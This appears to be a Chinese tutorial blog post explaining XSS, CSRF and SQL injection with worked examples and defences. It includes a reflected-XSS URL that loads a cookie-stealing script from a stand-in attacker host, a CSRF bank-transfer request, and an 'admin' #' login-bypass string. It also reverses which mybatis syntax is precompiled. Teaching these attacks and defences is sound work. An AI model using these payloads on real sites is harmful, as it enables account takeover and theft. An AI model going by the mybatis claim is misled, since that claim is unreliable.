XSS攻击、CSRF攻击、SQL注入攻击

XSS

概念

跨站脚本攻击Cross-site scripting (XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。

当被攻击者登陆网站时就会自动运行这些恶意代码,从而,攻击者可以突破网站的访问权限,冒充受害者。

类型

存储型XSS

注入型脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。

反射型XSS

当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。Web服务器将注入脚本,比如一个错误信息,搜索结果等 返回到用户的浏览器上。浏览器会执行这段脚本,因为,它认为这个响应来自可信任的服务器。

基于DOM的XSS

被执行的恶意脚本会修改页面脚本结构。

过程

  1. 数据从一个不可靠的链接进入到一个web应用程序。
  2. 没有过滤掉恶意代码的动态内容被发送给web用户。

后果

如果Web应用程序没有部署足够的安全验证,那么,这些攻击很容易成功。浏览器无法探测到这些恶意脚本是不可信的,所以,这些脚本可以造成如下后果:

  1. 发送cookie,session tokens给攻击者,攻击者假冒用户(结合csrf攻击后果严重)
  2. 获取敏感的网站信息,
  3. 让恶意脚本重写HTML内容。

案例

XSS案例及解决方案

1.Alice 经常访问由 Bob 托管的特定网站, Bob 的网站允许 Alice 使用用户名/密码登陆后,存储敏感数据,例如账单信息。
当用户登录时,浏览器会保留一个授权 Cookie,它看起来像一些垃圾字符,
这样两台计算机(客户端和服务器)都有一条她已登录的记录。


2.Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:

当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。

使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,
网址为http://bobssite.org/search?q=puppies 这是完全正常的行为。

但是,当她提交异常搜索查询时,例如 
<script type ='application / javascript'>alert('xss'); </ script>
出现一个警告框(表示“xss”)。

该页面显示“未找到”,以及带有文本“xss”的错误消息。

URL 是http://bobssite.org/search?q= <script%20type ='application / javascript'> 
            
alert('xss'); </ script> , 这是一个可利用的行为


3.Mallory制作了一个利用此漏洞的URL:

她创建了URL 
http://bobssite.org/searchq=puppies
<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>。

她选择使用百分比编码 encode ASCII字符,例如 
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com
%2Fauthstealer.js%22%3E%3C%2Fscript%3E,
这样读者就无法立即破译这个恶意URL


4.她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”


5.Alice 到电子邮件, 她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”.
但就在这时,脚本标签运行(Alice 在屏幕上看不到)并加载并运行 Mallory 的程序 authstealer.js
(触发了 XSS攻击)


6.authstealer.js 程序在 Alice 的浏览器中运行,就像正常访问 Bob 的网站一样。
但该程序抓取 Alice 的授权 Cookie 副本并将其发送到 Mallory 的服务器


7.Mallory 现在将 Alice 的授权 Cookie 放入她的浏览器中,然后她去了 Bob 的网站,并以 Alice 身份登录。
Mallory 假借 Alice 身份进入网站的账单部分,查找 Alice 的信用卡号码并抓取副本。
然后她去改变她的密码,这样过后爱丽丝甚至不能再登录了。


8.Mallory 决定更进一步向 Bob 本人发送一个类似的链接,从而获得Bob的网站管理员权限。

解决方案

  1. 输入检查:接收request时使用Filter、HttpServletRequestWrapper过滤非法请求参数
  2. 输出检查:返回response或脚本到浏览器时校验是否存在恶意脚本

 

CSRF

概念

CSRF跨站点请求伪造(Cross—Site Request Forgery), 攻击者盗用了被攻击者的身份,以被攻击者的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。

过程

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问站点A;
  5.  浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。
  6. 网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

后果

攻击者能够以被攻击者的名义发送邮件、发消息,甚至购买商品、转账等,从而造成网站的敏感信息泄露,被攻击者的账号及财产损失等。

案例

1.受害者Bob在银行有一笔存款,通过对银行的网站发送请求
http://bank.example/withdraw?account=bob&amount=1000000&for=alice 
可以使Bob把1000000的存款转到Alice的账号下。

2.通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,
并且该 session 的用户Bob已经成功登陆。

3. 黑客 Mallory 自己在该银行也有账户,他知道上文中的URL可以把钱进行转帐操作。
Mallory 可以自己发送一个请求给银行:http://bank.example/withdrawaccount=bob&amount=1000000&for=Mallory。
但是这个请求来自Mallory而非Bob,他不能通过安全认证,因此该请求不会起作用。

4.Mallory使用CSRF的攻击方式,他先做一个网站并在网站中放入如下代码:
src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”,
并且通过广告等诱使 Bob 来访问他的网站。

5.当Bob访问该网站时,上述url就会从Bob的浏览器发向银行,
而这个请求会附带Bob浏览器中的cookie一起发向银行服务器。

6.大多数情况下,该请求会失败,因为他要求Bob的认证信息。
但如果Bob当时刚访问他的银行后不久,他的浏览器与银行网站之间的session尚未过期,
浏览器的cookie之中含有Bob的认证信息。
这时,悲剧发生了,url请求就会得到响应,钱将从Bob的账号转移到Mallory的账号,而Bob当时毫不知情。

解决方案

  1. 验证 HTTP Referer 字段
  2. 在请求地址中添加 token 并验证
  3. 在 HTTP 头中自定义属性并验证

SQL注入

概念

通过把SQL命令插入到请求的查询字符串,达到欺骗服务器执行恶意的SQL命令。利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库。

过程

  1. 控制输入 用户能够控制输入,系统没有对输入做判断和限制,信任用户所有的输入。
  2. 拼接SQL 将用户输入的参数拼接成了一个完整的SQL语句。

后果

  1. 绕过登录验证
  2. 获取敏感数据
  3. 文件系统操作
  4. 注册表操作
  5. 执行系统命令 

案例

1.下面这样一个SQL语句:
"select username,password from user where username = '"+username+"'and
 password = '"+password+"'"

2.此SQL语句是根据用户名和密码来从数据库中获取记录,有用户名和密码作为双重验证。
如果此时没有对用户输入的username加以判断和字符过滤,将username输入成如下字符:
admin‘ #
那么此时拼接后的完整SQL语句将变为如下形式:
"select username,password from user where username = 'admin' #'and password = '123456'"

3.在MySQL中,#是注释的意思,这样对password的限制就彻底失效了,只要数据库中有admin这条记录,
数据库就会有数据返回。


解决方案

  1. 使用预编译,绑定变量(mybatis中的#{} 和${},前者直接拼接,后者预编译)。 
  2. 检查数据类型。
  3. 过滤特殊字符和语句。
  4. 页面不错误回显。

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值